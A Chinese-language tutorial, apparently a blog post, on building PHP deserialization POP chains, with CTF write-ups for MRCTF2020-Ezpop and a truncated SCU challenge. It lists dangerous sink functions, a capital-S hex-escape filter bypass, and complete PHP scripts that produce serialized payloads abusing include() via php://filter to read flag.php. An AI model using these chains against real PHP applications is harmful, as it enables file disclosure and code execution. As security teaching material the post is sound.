php反序列化—POP 链的构造利用
POP 链的构造利用
一、POP链简介
1、POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
2、POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
二、POP链利用技巧
1、一些有用的POP链中出现的方法:
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
2、**反序列化中为了避免信息丢失,使用大写S支持字符串的编码。**PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
参考:深浅copy
4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
实战
MRCTF2020-Ezpop
<?phpclass Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}
if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
其中出现的魔术方法:
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
构造pop链:
- 首先反序列化调用
__wakeup()
方法 - 令
source
=new Show()
后__wakeup()
会调用__toString()
- 令
$str
=new Test()
就会调用__get()
方法 - 令
p
=new Modifier()
就会调用__invoke()
,然后命令执行
Modifier::__invoke()<--Test::__get()<--Show::__toString()
所以构造:
<?php
class Modifier {protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; #include函数使用为协议读取文件}class Test{public $p;
}class Show{public $source;public $str;public function __construct(){$this->str = new Test();}
}$pop = new Show();//此时source(show)->str
$pop->source = new Show();//source(show)->str之后触发__tostring然后访问source(test)触发__get
$pop->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($pop));
?>
法2(y4):
<?php
ini_set('memory_limit','-1');
class Modifier {protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}class Show{public $source;public $str;public function __construct($file){$this->source = $file;$this->str = new Test();}
}class Test{public $p;public function __construct(){$this->p = new Modifier();}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
SCU unserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class hackMe{protected $formatters; public function __call($method, $attributes){ #在对象中调用一个不可访问方法时调用return $this->format($method, $attributes);}public static function hackMMM(){echo "Hello web
php反序列化—POP 链的构造利用相关推荐
- 『Java安全』反序列化-浅析Hessian反序列化POP链
文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...
- PHP反序列化—构造POP链
前言: 最近在刷题的时候发现这个PHP反序列化-POP链,之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞.但如果关键代码不在魔术方法中,而是在一个类的普通方法中.这时候可 ...
- php反序列化之pop链构造
前言 随着对反序列化学习的不断深入,我们来学习一下pop链的构造.这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解.同时也是提供想要入坑的小伙伴们 ...
- php反序列化漏洞之pop链
目录 POP链简介 pop面向属性编程: pop chain pop链利用技巧 1.在pop链中出现的方法: 2.反序列化中为了避免信息丢失,可以使用大写S,支持字符串的编码 3.深浅copy 4.利 ...
- pop链 php,POP链
在二进制安全领域,Return-oriented programming(ROP)是一种常用的绕过防护攻击方式.攻击者可以利用内存中已有的进程片段(称作gadgets),通过汇集这些进程片构建一个攻击 ...
- POP链实例解析学习
写在前面 POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列 ...
- 【关于学习渗透】手把手教你玩转java反序列化cb链
前言 java反序列化cb链大家应该都玩过,博主当初是通过看shiro无依赖了解到的,最近在重学基础,就手把手一点一点调试一遍.记得11月份自博主反思之后,认为自己渗透的学习深度广度都太差,对漏洞的学 ...
- 第17篇:Shiro反序列化在Weblogic下无利用链的拿权限方法
Part1 前言 Shiro反序列化漏洞虽然出现很多年了,但是在平时的攻防比赛与红队评估项目中还是能遇到.主站也许遇不到Shiro漏洞,但是主站边缘域名.全资子公司的子域名.边缘资产.微信公众号. ...
- java restfulapi 返回文件base64_Java反序列化:一次构造后Ysoserial Payload
前言 在一次应用安全测试中发现了一个的Java反序列化漏洞,该漏洞最终导致未经身份验证的远程代码执行.经过实践,发现利用此漏洞并不像之前使用Ysoserial生成默认payload那样简单. 所以在本 ...
最新文章
- MySQL Server 5.0 和 6.0 安装指南[转]
- 软件开发质量控制-CMMI读后疑问
- android 之SharedPreferences,SDCard以及网络存储
- OpenCASCADE:形状愈合之用于修复、分析和升级的辅助工具
- 修改Element-UI的组件样式
- EntityFramework进阶——Entity Splitting和Table Splitting
- 第二节:ES7 新增的 includes 特性
- nginx php-fpm 安装,Linux下nginx php-fpm安装配置笔记
- opencv视频转图片并保存到文件夹下
- 换加密算法--python
- 纯css控制-表格表头固定,内容多时滚动内容
- Carsim应用:LKA车道保持辅助系统(LQR控制器模型)
- ESXI 中的虚拟机导出到本地
- 玩转NVIDIA Jetson AGX Xavier--- 中文用户手册
- Android#studio@快捷键
- 操作系统春招面试复习之:存储管理
- 这是个转贴,QB教程,很不错
- jquery字符串相等判断
- Android逆向 某州 解密sign字段 so层 算法分析 Unidbg模拟执行
- 电视机体感游戏大盘点
热门文章